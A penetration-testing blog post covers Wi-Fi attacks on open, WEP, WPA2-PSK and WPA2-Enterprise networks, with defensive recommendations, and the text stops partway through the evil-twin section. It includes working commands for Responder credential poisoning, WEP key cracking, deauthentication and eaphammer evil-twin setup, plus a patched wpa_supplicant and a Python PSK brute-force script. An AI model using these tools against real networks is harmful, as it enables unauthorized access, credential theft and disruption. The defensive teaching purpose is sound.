Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025
Despite the advancements that have been made in Wi-Fi security with the arrival of WPA3, some misconfigurations and legacy protocols still remain. In this blogpost, we share insights into Wi-Fi related findings encountered during penetration testing engagements. We will present compromise methods, addressing both common scenarios and less conventional ones. The purpose of this article is to present a range of the most commonly useful attack methods in Wi-Fi penetration testing. By improving the understanding of these attacks, we hope to raise awareness on the importance of Wi-Fi security for businesses.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
In our work as penetration testers, we frequently encounter Wi-Fi networks, both during internal assessments and in Red Team engagements. The convenience for an enterprise is undeniable, with more and more mobile devices and workstations, Wi-Fi is at least convenient if not almost a necessity. It is far more straightforward to let your laptop connect to a Wi-Fi network rather than plugging in an RJ45 cable every time you move to a meeting room.
However, this convenience requires immense trust in the security of a rather large attack surface. The same wireless signal that makes it easy for devices to connect also makes it easy for an attacker to try to breach your network. During a Red Team, a vulnerable Wi-Fi network can become the perfect entry point, giving access to the internal network, without ever setting foot inside the building.
While Wi-Fi security is sometimes taken for granted, given that the core protocols currently in use have been around for nearly two decades. WEP was replaced by WPA in 2003 and WPA2 in 2004. Today, although WPA3 is becoming more common, its adoption feels timid compared to the rapid rollout of WPA2 in the 2000s. And while WPA2's 20-year existence is, in a way, a testament to its strength, some attacks remain possible. The tools and methods for these attacks are mature, benefiting from 20 years of public documentation. We even still occasionally find the ancient WEP protocol in its natural (often industrial) habitat.
From Open networks to the newest standards, this article aims to show and explain real-world exploitation techniques that are still effective in the right context. Most of the methods we will present are far from new, but by understanding these common attacks, it can help assess the risks associated with each use case and take the appropriate steps to prevent an intrusion. The idea is to present a baseline state of the art regarding the most prevalent wireless security threats to Wi-Fi networks.
1. Open Wi-Fi
Open Wi-Fi is the most known type of insecure network. It is common knowledge that one should be cautious on public Wi-Fi networks in cafés, airports, and hotels. However, why should we be careful with these networks, and what are the main risks ?
a. Eavesdropping
The most fundamental risk of a traditional open network is that the wireless frames themselves are not encrypted. Anyone within range with the right software can capture all the traffic passing through the air.
# iw wlan0 set type monitor
# ip link set wlan0 up
# iw wlan0 set channel 6
# tcpdump -i wlan0 -w capture.pcap
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
[...]
However, this risk has been significantly reduced over the years. Today, the vast majority of internet traffic is TLS protected. This means that even if an attacker captures your internet traffic, they might be able to see where your internet traffic is going, hence what sites you are consulting. But given the application layer is encrypted, they will not be able to read or modify what you are doing.
To counter this passive listening at the Wi-Fi layer itself, a standard called Opportunistic Wireless Encryption (OWE) was introduced. It works as a spontaneous, individual key exchange for each user connecting to an Open network. Your device and the access point automatically create a unique encryption key without you needing to enter a password. This effectively encrypts the connection between you and the router, protecting you from simple eavesdropping. OWE being based on WPA3 standard also implements Protected Management Frames (802.11w)[1], which prevents attackers from easily disconnecting you from the network.
Indeed, a common attack known as Deauthentication is based on forging Deauthentication Frames, which are Management Frames[2]. In the WPA and WPA2 standards, Management Frames are visible over the air with a passive capture such as the one above. In this case, attackers can therefore fake their MAC address (to spoof the AP's) and send fake Deauthentication Frames to a given target. The target will think the Access Point (AP) wants them to disconnect and therefore drop the connection to this AP. Generally, after dropping a Wi-Fi connection, most clients (laptops or smartphones) will try to find another suitable AP, and perhaps the same AP if it appears available again.
Deauthentication attacks are still widely common and can easily be leveraged to make clients disconnect from their legitimate AP. As we will see later on, this can be used by attacker to obtain authentication handshake on WPA2 PSK networks, or it can simply be used to cause a simple Denial of Service. However, 802.11w standard was designed to encrypt Management Frames especially to negate this type of attack. When using WPA3 (without Transition Mode) 802.11w is always enforced. Thus, the same is true for OWE which truly enhances the security of Open Wi-Fi AP.
b. Open door
Nonetheless, even with the encryption provided by OWE, anyone can still connect to the network. This means an attacker can join the same local network as employees, customers or you. One security layer in such environments is also client isolation.
Client isolation is a feature on access points that allows each device to communicate with the internet gateway (hence the AP itself), but prevents them from communicating with each other. Without it, an attacker could directly scan, probe, and attack other users' devices on the same network. Or simply perform ARP spoof attacks to become a Man-in-the-Middle (MitM) on the local network.
While client isolation is considered a baseline security control for modern guest networks, we never take it for granted. As penetration testers, verifying the actual enforcement of this isolation is a mandatory step in our assessments.
c. Man-in-the-Middle
Finally, even with previous hardenings, a threat on open networks remains Man-in-the-Middle (MitM) attacks. These are often performed using what is called an Evil-Twin. Since an open network has no password, an attacker can easily create a fake Wi-Fi network with the exact same Service Set IDentifier (SSID), which is basically the name of the Wi-Fi network, but with a stronger signal. Users' devices, programmed to connect to known networks automatically, may connect to the attacker's malicious AP instead of the legitimate one. Even when 802.11w is enabled, this attack remains technically feasible, although it becomes significantly harder.
Once the victim is connected to the Evil-Twin network, the attacker controls your entire connection to the Internet. Even with TLS, they can intercept the initial connection request and present your browser with their own fake security certificate. If the victim, accidentally or mistakenly clicks accept on the security warning, the game is over. The attacker can now decrypt, read, and even modify all the intercepted traffic.
d. Retex
During a recent pentest engagement, we encountered a corporate environment that used an Open Wi-Fi network for its employees. The security model relied on every employee connecting immediately to a robust corporate VPN that used client certificate authentication. At first glance, one could assume this is secure. We could not connect to their VPN without a client certificate, so we were not able to access their internal network.
Indeed, on the local Open Wi-Fi, Windows devices were still sending out broadcast messages using infamous protocols such as LLMNR and mDNS to find other devices on the network. Therefore, simply connecting to this Open network and running Responder.py[3], . The number of person connected to the same Open Wi-Fi made that attack incredibly efficient. Broadcast requests answered by Responder.py triggers machine or user accounts' authentications towards the attacker controlled machine.
$ Responder.py -I wlan0
[...]
[*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local
[*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local
[*] [LLMNR] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION
[*] [LLMNR] Poisoned answer sent to 172.*.*.* for name WORKSTATION
[*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local
[*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local
[*] [LLMNR] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION
[*] [LLMNR] Poisoned answer sent to 172.*.*.* for name WORKSTATION
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name SERVER (service: Workstation/Redirector)
Within a few minutes, we had collected hundreds of hashed credentials from employees' user accounts connecting to the Wi-Fi. While these are not plaintext passwords, several hashes could be cracked offline. This provided us with valid corporate credentials. Despite the inability to connect to the VPN from the Wi-Fi without having access to a valid certificate, we obtained access to multiple Office 365 accounts, which could very much entail further compromise with a bit of social engineering or simply looting SharePoints, Outlooks and any other sensitive information available using that access.
e. Recommendation
As mentioned above, OWE is a great addition to the Open Wi-Fi network protocol. The fact that it is based on WPA3 to negotiate session keys allows the encryption of both the Management Frames avoiding Deauthentication attacks, and the regular Data Frames avoiding eavesdropping over the air.
However, even with OWE the Wi-Fi remains accessible to anyone with no password, therefore no sensitive assets must be exposed to these networks. Moreover, even in this case, Man-in-the-Middle becomes more tricky to obtain but is still possible due to the lack of authentication at the Wi-Fi level. The consequence of that is the clients can be fooled, whether it concerns public spaces, or the guest Wi-Fi of an enterprise's premises. Advanced phishing scenario could successfully exploit that situation.
Moreover, the example given above shows how important client isolation and overall network filtering is essential for Open Wi-Fi networks.
2. WEP
WEP, or Wired Equivalent Privacy[4], was the original encryption standard for Wi-Fi, ratified in 1999. Its goal, as the name implies, was to provide wireless networks with a level of confidentiality comparable to that of a traditional wired network. For its time, it was a necessary first step, but cryptographic analysis soon revealed fundamental design flaws, leading to its official deprecation by the Wi-Fi Alliance in 2004.
a. Why is it broken ?
The weakness of WEP does not lie in a single mistake but in a combination of issues related to its implementation of the RC4 stream cipher.
WEP uses a Stream Cipher approach:
- The Secret: is a Pre-Shared Key known by the AP and Clients wanting to connect.
- The IV (Initialization Vector): Because using the same key for every packet in a stream cipher is catastrophic (it allows an attacker to decrypt traffic using simple XOR operations) WEP adds a 24-bit random number called an IV to the packet.
- The Seed: The IV is transmitted in cleartext. The WEP algorithm concatenates the IV and the Secret Key to create a Seed.
Seed = IV + Key
- The Keystream: This Seed is fed into the RC4 algorithm, which spits out a long stream of pseudo-random bytes called the Keystream.
- Encryption: The data is XORed with the Keystream.
Ciphertext = Plaintext ⊕ Keystream
First, the Initialization Vector is only 24 bits (224 = 16,777,216 possibilities). In a busy network, a router sends hundreds of packets a second. Therefore, the same IV repeat relatively quickly. If two packets use the same IV and the same Password, they use the same Keystream. If Packet A and Packet B are encrypted with the same Keystream, an attacker can XOR the two ciphertexts together to cancel out the keystream. Indeed, if KeystreamA = KeystreamB, then CiphertextA ⊕ CiphertextB = PlaintextA ⊕ KeystreamA ⊕ PlaintextB ⊕ KeystreamB = PlaintextA ⊕ PlaintextB. From there, statistical analysis allows for the recovery of the two original plaintexts.
The RC4 algorithm has a Key Scheduling Algorithm (KSA) that sets up the initial state. Researchers (Fluhrer, Mantin, and Shamir which gave the name FMS attack) discovered that the first few bytes of the RC4 keystream are strongly correlated to the value of the key itself. Because WEP constructs the seed by simply putting the IV next to the Key (Seed = IV + Key), and because the IV is sent in cleartext:
- An attacker captures a packet.
- They see the IV (cleartext).
- They see the first byte of the encrypted packet (which is almost always a known standard header).
- By knowing the IV and the first byte of output, they can mathematically guess a part of the Key.
- With enough packets, they can vote on the most likely characters of your password until they recover it completely.
Later, attacks like PTW (Pyshkin, Tews, Weinmann) optimized this to use ARP packets, allowing the key to be cracked with much fewer packets (tens of thousands instead of millions).
Finally, WEP uses CRC32 to ensure data integrity. However, this integrity check is linear. It does not rely on a secret like cryptographic integrity check functions such as HMAC. Thus, an attacker can flip bits in ciphertext and update the CRC32 checksum value without knowing the Secret. So WEP does not guarantee integrity and packets can be modified in transit. This enables packet forgery, ARP injection, replay attacks and traffic manipulation. Considering this, and the implementation of PTW attack in tools such as aircrack-ng[5], the process of cracking WEP becomes deterministic and requires no brute force, it is a matter of time to collect enough data to solve the cryptographic puzzle.
b. Demonstration
The good side of attacking WEP is there are thousands of tutorials online explaining how to do it. Yet, we will do a short demonstration once more here, using the aircrack-ng suite. First, we set up a listener with airodump-ng that will capture the IVs and put them in a file for further use:
$ ip link set wlan1 down
$ iw wlan1 set type monitor
$ ip link set wlan1 up
$ airodump-ng --bssid 02:00:00:00:04:00 --channel 3 --write wep_capture wlan1
[ CH 3 ][ Elapsed: 12 s ][ 2025-08-14 12:57 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:04:00 -28 0 151 32 1 3 54 WEP WEP GodricsHollow
BSSID STATION PWR Rate Lost Frames Notes Probes
02:00:00:00:04:00 02:00:00:00:05:00 -29 54 -54 0 32
Then the capture file can be fed to aircrack-ng who will perform the PTW attack until it is able to recover the entire key:
$ aircrack-ng wep_capture-01.cap
Aircrack-ng 1.7
[00:00:03] Tested 177409 keys (got 146 IVs)
Got 246 out of 5000 IVs
[...]
Failed. Next try with 5000 IVs.
Finally, we can perform attacks with aireplay-ng that will cause the AP to generate more IVs. In real conditions, of course, we would avoid deauthentication attacks, especially in industrial environments, to avoid disrupting the network. However, ARP-replay can still be performed:
$ aireplay-ng --arpreplay -b 02:00:00:00:04:00 -h 02:00:00:00:05:00 wlan1
The interface MAC (C6:B3:2D:FA:4A:18) doesn't match the specified MAC (-h)
ifconfig wlan1 hw ether 02:00:00:00:05:00
13:04:18 Waiting for beacon frame (BSSID: 02:00:00:00:04:00) on channel 3
Saving ARP requests in replay_arp-0814-130418.cap
You should also start airodump-ng to capture replies.
read 479483 packets (got 158770 ARP requests and 0 ACKs), sent 157231 packets...(499 pps)
Another solution is to just wait. In any case, after some time, you obtain a nice message from aircrack-ng:
$ aircrack-ng wep_capture-01.cap
Got 48994 out of 35000 IVs
Starting PTW attack with 48994 ivs.
[...]
KEY FOUND! [ 50:65:76:65:72:65:6C:6C:49:67:6E:6F:74 ] (ASCII: PeverellIgnot )
Decrypted correctly: 100%
c. Retex
Despite being deprecated for two decades, WEP is not entirely extinct. We still encounter it, mostly in industrial environments or simply just when there is a very old and forgotten router nearby. Legacy systems such as old manufacturing equipment, or specialized printers sometimes lack support for more modern security protocols.
During a recent penetration test in an industrial facility, we identified a WEP-protected network. In such a sensitive environment, active attacks such as forcing device deauthentication to generate more traffic were strictly forbidden due to the risk of disrupting operations. However, such measures were unnecessary. We performed a passive capture of the network traffic and simply waited. Within a day, the normal operational traffic of the facility had generated enough packets, and therefore enough unique IVs, for us to recover the key. The pentesters could focus on other objectives while the traffic capture collection ran in the background.
d. Recommendation
There is no scenario where the use of WEP is acceptable. Its security is fundamentally broken and offers no meaningful protection against a determined attacker. The only valid remediation is to decommission and replace any device that requires WEP. Otherwise, if updates are impossible due to production constraints, WEP should be treated as an Open network.
3. WPA2 PSK
WPA2 PSK (Wi-Fi Protected Access with a Pre-Shared Key)[6] is the most prevalent security protocol for home, small offices, and guest networks. Instead of individual credentials, all users share a single secret key (the PSK) to access the network. The underlying cryptography of WPA2 and the newer WPA3 standards is much more robust. We will see that the main issue with WPA2 PSK is the ability for the attacker to obtain a hash of the PSK. There are a lot of methods for that, therefore the security of the network depends almost entirely on the complexity of the PSK.
a. How does it work?
Firstly, Wi-Fi Protected Access was designed as a temporary firmware update to fix WEP on existing hardware without having to buy new routers. Since the hardware was built for the RC4 cipher, WPA still used RC4, but it wrapped it in a new protocol called TKIP (Temporal Key Integrity Protocol) to solve WEP's specific implementation flaws. Shortly after, WPA2 was the final, long-term solution. It abandoned the RC4 stream cipher entirely, which required new hardware chips. WPA2 implements AES using a mode called CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol). WPA is just as deprecated as WEP and is therefore very rarely seen.
What is interesting in the security of WPA2 PSK is the key exchange process. The 4-Way Handshake, which occurs whenever a device connects to the access point. The PSK is not used directly to encrypt traffic. Instead, it serves as the primary input for a key derivation process.
The PSK is combined with the network's name (SSID) and processed through a Password-Based Key Derivation Function (PBKDF2). This function runs the input through 4096 iterations of HMAC-SHA1 to produce a 256-bit Pairwise Master Key (PMK). This computationally intensive step is what makes offline brute-force attacks slow.
During the 4-Way Handshake, the access point and the client exchange a series of messages (EAPOL Frames) containing random numbers (Nonces). Both sides use the PMK they derived, along with the Nonces and their MAC addresses, to independently generate a fresh set of temporary keys. The most important of these is the Pairwise Transient Key (PTK), which is used to encrypt all subsequent data for that session. During this process, given each party derives the key elements based on their knowledge of the PSK, the M2 and M3 messages also serve the purpose of proving one another that the other party indeed has knowledge of the PSK.
The MIC (Message Integrity Code) is used once the PTK has been derived, to authenticate the EAPOL messages M2 and M3. It consists of a HMAC-SHA1 of the EAPOL frame data body using a part of the PTK as key. Ultimately, this MIC is therefore derived from the PSK and using only known elements. Summarizing the steps we have:
-
PMK = PBKDF2(PSK, SSID, 4096, 256)-> PMK obtained from the PSK and known SSID -
PTK = PRF(PMK, ANonce, SNonce, MAC_STA, MAC_AP)-> PTK obtained from PMK and known ANonce, SNonce (because in the exchange) and MAC addresses of both Client and Access Point (also known). -
MIC = HMAC-SHA1(EAPOL_data, PTK)-> MIC result of HMAC from the data (known because in the EAPOL frames) and the PTK
b. Attacks
Almost all attacks against WPA2 PSK networks focus on one objective: capturing the necessary data to perform an offline brute-force or dictionary attack against the PSK. For that, as explained above, even the capture of a half-handshake (M1, M2) can be enough. A full handshake capture is better because it provides M2 and M3 which contain the validation of respectively the Client and the AP that they possess the correct PSK. If we have M3, we can confirm the AP validates the PSK used by the client.
To capture these four-way handshakes, an attacker has several options:
- Passive Capture: An attacker can simply monitor the Wi-Fi frequency channels and wait for a legitimate device to connect or reconnect to the network, capturing the handshake when it occurs naturally.
- Deauthentication: To speed things up, an attacker can send spoofed deauthentication frames to a connected client. This forces the client to disconnect and immediately attempts to reconnect, triggering a new handshake for the attacker to capture.
- Evil Twin: By setting up a fake AP with the same SSID, an attacker can trick clients into attempting to connect. The second message of the handshake (M2) sent by the client contains enough data as explained above.
However, we can note that all those methods rely on the presence and actions of legitimate clients. Nonetheless, there are some attack methods that do not even require the presence of clients to obtain a hashed version of the PSK. To support fast roaming (IEEE 802.11r), some access points pre-calculate and cache a Pairwise Master Key Identifier (PMKID). This PMKID is also derived from the PMK known elements[8]. An attacker can simply attempt to connect to the AP, and the latter will then send the PMKID in its response. This single piece of data is therefore enough to mount an offline brute-force attack against the PSK, making it a faster method as it does not require clients.
Finally, if no clients are present and the AP is not vulnerable to PMKID client-less attacks, an attacker's last resort may be to try authenticating with a list of potential passwords one by one. This online attack is slow and noisy. This could be easily detected, but Wi-Fi is not usually regularly monitored. It is unlikely to work if the password is not obvious but still, as a desperate attempt, feasible. Since that situation occurred in one of our Red Team engagements, we tried to optimize a bit this process. It is a simple script, but we still reached several hundred password attempts in a reasonable time, which could cover a good part of trivial passwords we would like to try in this scenario.
c. PSK Online Bruteforce
The initial idea is to simply launch wpa_supplicant over and over again with a different configuration to test the passwords one by one. Although it is already a good start, that is not very efficient. To speed up the process a bit, we chose to use wpa_supplicant in daemon mode. As the documentation puts it: "wpa_supplicant is designed to be a "daemon" program that runs in the background and acts as the backend component controlling the wireless connection."[9].
Then, to avoid timeout, since we are using a single instance of wpa_supplicant, we have to remove the timeout from the source code and recompile the wpa_supplicant for our use case:
- Patch the timeout on PSK failures
$ cat -n wpa_supplicant-2.11/wpa_supplicant/wpa_supplicant.c
[...]
8845
8846 if (ssid->auth_failures > 50)
8847 dur = 300;
8848 else if (ssid->auth_failures > 10)
8849 dur = 120;
8850 else if (ssid->auth_failures > 5)
8851 dur = 90;
8852 else if (ssid->auth_failures > 3)
8853 dur = 60;
8854 else if (ssid->auth_failures > 2)
8855 dur = 30;
8856 else if (ssid->auth_failures > 1)
8857 dur = 20;
8858 else
8859 dur = 10;
8860 /* patch start */
8861 dur = 0;
8862
8863 /*if (ssid->auth_failures > 1 &&
8864 wpa_key_mgmt_wpa_ieee8021x(ssid->key_mgmt))
8865 dur += os_random() % (ssid->auth_failures * 10);
8866
8867
8868 os_get_reltime(&now);
8869 if (now.sec + dur <= ssid->disabled_until.sec)
8870 return;
8871
8872 ssid->disabled_until.sec = now.sec + dur;
8873 */
8874
8875 /* patch end */
8876
8877 wpa_msg(wpa_s, MSG_INFO, WPA_EVENT_TEMP_DISABLED
8878 "id=%d ssid=\"%s\" auth_failures=%u duration=%d reason=%s",
8879 ssid->id, wpa_ssid_txt(ssid->ssid, ssid->ssid_len),
8880 ssid->auth_failures, dur, reason);
8881
8882 if (bssid)
8883 os_memcpy(ssid->disabled_due_to, bssid, ETH_ALEN);
8884 }
[...]
- Compilation
$ cd wpa_supplicant-2.11/wpa_supplicant
$ make && make install
Then, we launch our fresh wpa_supplicant in daemon mode, so that our script can communicate with it via the Unix Socket:
- Configuration file:
$ cat wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
- Launch
wpa_supplicantdaemon:
# wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- Then our script can be used:
$ python3 bf_psk_connection.py --help
usage: bf_psk_connection.py [-h] [--interface INTERFACE] --ssid SSID --pskfile PSKFILE [--ctrl_interface_dir CTRL_INTERFACE_DIR]
Connect to a WiFi network using wpa_supplicant and test multiple PSKs.
options:
-h, --help show this help message and exit
--interface INTERFACE
Interface connected to wpa_supplicant
--ssid SSID SSID of the network to connect to
--pskfile PSKFILE File containing PSKs to test
--ctrl_interface_dir CTRL_INTERFACE_DIR
Directory for wpa_supplicant control interface
In its current state, the script remains a simple PoC, but it works really great. It connects to the socket, and basically listens for events corresponding to connection or disconnection:
def read_from_socket(self):
data, _ = self.sock.recvfrom(4096)
event = data.decode()
logging.debug(f"Received event: {event}")
if "CTRL-EVENT-CONNECTED" in event:
logging.info("Connection successful with current PSK.")
self._found_psk = True
self.loop.stop()
elif "CTRL-EVENT-DISCONNECTED" in event:
logging.info("Failed to connect with current PSK. Trying next one...")
self.loop.call_soon_threadsafe(self.loop.stop)
And then based on that, it is just a for-loop on all PSKs we want to try:
def test_psks(self, ssid):
self.send_command("ATTACH")
self.loop.add_reader(self.sock.fileno(), self.read_from_socket)
with open(self.psk_file, 'r') as file:
psks = file.read().splitlines()
self.send_command("REMOVE_NETWORK all")
self.send_command("ADD_NETWORK")
self.send_command(f'SET_NETWORK 0 ssid "{ssid}"')
self.send_command("ENABLE_NETWORK 0")
self.send_command("SCAN")
tic = time.perf_counter()
for psk in psks:
logging.info(f"Testing PSK: {psk}")
self.send_command(f'SET_NETWORK 0 psk "{psk}"')
self.send_command("REASSOCIATE")
self.loop.run_forever()
if self._found_psk:
self._valid_psk = psk
break
toc = time.perf_counter()
if self._found_psk:
logging.info(f"PSK FOUND : {self._valid_psk}")
logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds")
else:
logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds")
The hardest part of making this simple script was to find the exact nl80211 commands to use, in the correct order, for the connection attempts to correctly launch, and to find out how to reset the PSK after each attempt. As shown in the above script, in the correct order, here is what it does:
ADD_NETWORKSET_NETWORK 0 <ssid>ENABLE_NETWORK 0SCANSET_NETWORK 0 psk <psk>REASSOCIATE
The last two commands are repeated to only change the PSK and retry. It should be noted this method allows using only once the SCAN command. Otherwise, wpa_supplicant will do this SCAN first by default to detect nearby networks before trying to connect to an AP. Using a single instance of wpa_supplicant avoids this time overhead on each execution of wpa_supplicant, when using several processes of wpa_supplicant.
Sadly the four-way handshake we described earlier is fully handled by the driver, which means using a managed interface like we do here does not allow parallelization to our knowledge. The connection routine is done once the REASSOCIATE command is launched for each new PSK we want to try. Despite the single thread, however, we nearly achieved 100 attempts in 5 minutes using this method. This rate is nothing to write home about, but we were still surprised to observe that all routers we tested this on, did not seem to block our connection attempts even after so many failed tries.
d. Retex
We frequently encounter WPA2 PSK networks during engagements. Cracking the key is not always successful, as the PBKDF2 algorithm, used to derivate the PMK, makes it a computationally expensive task. Success is highly dependent on the quality of the password, if it is not based on the company's context (name, location, etc.), it is often impractical to crack within the timeframe of an audit. However, we succeeded a couple of times during real engagements which is why it is still worth a try.
e. Recommendations
The security of a WPA2 PSK network is almost entirely dependent on the quality of its password.
Use a strong and random passphrase: a long, unpredictable passphrase makes an offline brute-force attack computationally infeasible. The cost of PBKDF2 computation ensures that even powerful hardware would take an impractical amount of time to crack a truly random key. However, to prevent from the above attacks, and even more recent (so not that recent) and technical attacks such as KRACK[10], you can always upgrade to WPA3 SAE. If your hardware supports it, upgrading to WPA3 is highly recommended. WPA3 replaces the PSK handshake with SAE (Simultaneous Authentication of Equals)[11], a modern key exchange protocol (Dragonfly Protocol) that enable a Zero-Knowledge Proof exchange of the key. With SAE, an attacker cannot capture even a hashed version of the password.
Despite this apparent security (if the PSK is strong), the most significant risk of WPA2 PSK in an enterprise context is organizational. Since the password is shared among all users, there is no individual accountability. More importantly, the key is rarely changed when an employee or contractor leaves, because doing so requires reconfiguring every single device on the network. This creates a residual access control risk, where former employees may retain access to the network indefinitely. This lack of granular access control is precisely why larger organizations prefer the more manageable WPA2 EAP (aka WPA2 Enterprise) standard.
4. WPA2 EAP
WPA2 EAP often referred to as Enterprise Wi-Fi, which is based on the IEEE 802.1X standard. Instead of a PSK, each user or device authenticates with unique credentials, typically against a central RADIUS (Remote Authentication Dial-In User Service) server. This approach provides granular access control and individual accountability. However, the security of the network no longer relies on the strength of a single password but shifts entirely to the correct configuration of the authentication process itself.
a. Extensible Authentication Protocol
802.1X uses the Extensible Authentication Protocol (EAP) as a framework to handle the authentication. EAP is not a single protocol but a container that supports several different authentication methods. When a device tries to connect to a given AP, the authentication flow is the following:
Several EAP methods can be used. Since EAP is just the framework, "EAP Methods" are the specific ways a device can actually prove its identity. The most common ones are:
- EAP-TLS: The gold standard for security. It uses certificates on both sides. The server has a certificate to prove it is legitimate, and the client must also have a unique client certificate installed to prove its identity.
- PEAP (Protected EAP): Developed to avoid the difficulty of installing certificates on every single client device. It creates a secure encrypted tunnel using only a server certificate to let the user verify its authenticity. Inside that safe tunnel, the user logs in with a standard username/password or challenge/response.
- TTLS (Tunneled TLS): Similar to PEAP.
PEAP and TTLS are referred to as "tunneled methods". Compared to direct methods such as EAP-TLS, they need a "phase 2" method where the actual user authentication happens inside the tunnel which in itself is only the "phase 1". The difference can be summarized as follows:
-
Direct (EAP-TLS): The "outer" connection is the authentication. When the client and server perform the TLS handshake, they exchange certificates immediately. If the certificates are valid, the user is authenticated. The handshake is the proof.
-
Tunnelled (PEAP & TTLS): These methods use a Phase 1 / Phase 2 approach. Phase 1 is the creation of the tunnel, PEAP or TTLS. Phase 2 is any protocol that is supported after that, MSCHAPv2 being the most common, but MD5, GTC also exist for instance.
We will see later that the Phase 2 is important in nature. But the main issue lies in the establishment of the tunnel during Phase 1:
During the TLS exchange occurring during Phase 1 the client verifies the certificate of the RADIUS server, before authenticating inside the tunnel during Phase 2.
b. Where does the liability lie
The aforementioned element, the server's certificate verification by the client, is the most common point of failure in WPA2 Enterprise deployments. During Phase 1 of a tunnelled EAP handshake, the RADIUS server presents a certificate to the client to prove its identity. If the client is not configured to strictly validate this certificate (i.e. check that it is signed by a trusted authority and has the correct name), it will blindly trust any server that presents a certificate. This often comes from lack of security awareness, where the person configuring the device will just configure "Do not validate certificate" because, at least, it works. This lack of validation, allows an attacker to receive the user's credentials, as the client will happily perform its Phase 2 authentication with the attacker's fake server. Depending on the EAP method used, the consequences are different. MSCHAPv2 will require an attacker to perform offline cracking, since the obtained credentials is a challenge-response. However, if unsecure EAP methods such as GTC is used, then the password can be obtained in cleartext.
c. Clone
As mentioned above, in cases where certificate validation is lacking, an attacker can present any certificate for a RADIUS server and the client will still try to authenticate. But to obtain that connection, you need to create a fake Access Point. This attack is known as "Evil Twin". An attacker sets up a malicious AP with the same SSID as the corporate network. To make the attack more efficient, deauthentication attacks can be performed, trying to force legitimate clients to disconnect from their AP and scan for networks. Most devices, once disconnected, will try to reconnect immediately to any known AP. At that point either they reconnect to the same AP or to another AP with the same SSID. In this situation, if the Evil Twin provides a good signal, there is a high chance of getting a connection from that client.
A good tool to create this kind of Evil Twin for WPA2 EAP is EAPHammer[12]. Simply generate certificates with the --cert-wizard options and then use a Wi-Fi interface to create a clone of the Target AP which will use the certificates for the RADIUS server that will host for the authentication process:
# eaphammer --cert-wizard
# eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1
.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \
\ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/
\___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__|
\/ \/|__| \/ \/ \/ \/ \/
Now with more fast travel than a next-gen Bethesda game. >:D
Version: 1.14.1
Codename: Final Frontier
Author: @s0lst1c3
Contact: gabriel<<at>>transmitengage.com
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[*] Saving current iptables configuration...
[*] Saving current iptables configuration...
[...]
[hostapd] AP starting...
wlan1: interface state UNINITIALIZED->COUNTRY_UPDATE
Using interface wlan1 with hwaddr f2:ab:b8:12:34:56 and ssid "MinistryOfMagic"
wlan1: interface state COUNTRY_UPDATE->ENABLED
wlan1: AP-ENABLED
Generally, as mentioned above, accompanying the clone with deauthentication attacks in order to nudge the legitimate clients into reconnecting can help make the attack more efficient. Several tools allow deauthentication attacks, but below is an example using Bettercap[13] (which also provides a nice reconnaissance feature). Note that when an AP is cloaked (meaning it does not broadcast its SSID) deauthentication will also let you obtain the SSID of the AP which is necessary for any clone attack to work.
$ bettercap -iface wlan0
[...]
wlan0 » wifi.recon.channel 6
[14:13:00] [sys.log] [inf] wifi channels: [6]
wlan0 » wifi.show
┌─────────┬───────────────────┬──────────────────┬─────────────────────┬─────┬────┬─────────┬────────┬────────┬──────────┐
│ RSSI ▴ │ BSSID │ SSID │ Encryption │ WPS │ Ch │ Clients │ Sent │ Recvd │ Seen │
├─────────┼───────────────────┼──────────────────┼─────────────────────┼─────┼────┼─────────┼────────┼────────┼──────────┤
│ -30 dBm │ f2:ab:b8:f8:e1:6e │ │ WPA2 (AES-CCM, WPA) │ │ 6 │ 3 │ 12 kB │ 12 kB │ 14:13:04 │
└─────────┴───────────────────┴──────────────────┴─────────────────────┴─────┴────┴─────────┴────────┴────────┴──────────┘
wlan0 » wifi.deauth f2:ab:b8:f8:e1:6e
wlan0 » [14:37:56] [sys.log] [inf] wifi deauthing client 92:07:84:c7:2b:01 from AP (channel:6 encryption:WPA2)
wlan0 » [14:37:56] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-30 dBm)
wlan0 » [14:37:57] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-20 dBm)
Once a client is trying to reconnect to your cloned access point, this type of logs can be observed:
$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: authenticated
wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 92:07:84:c7:2b:01
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
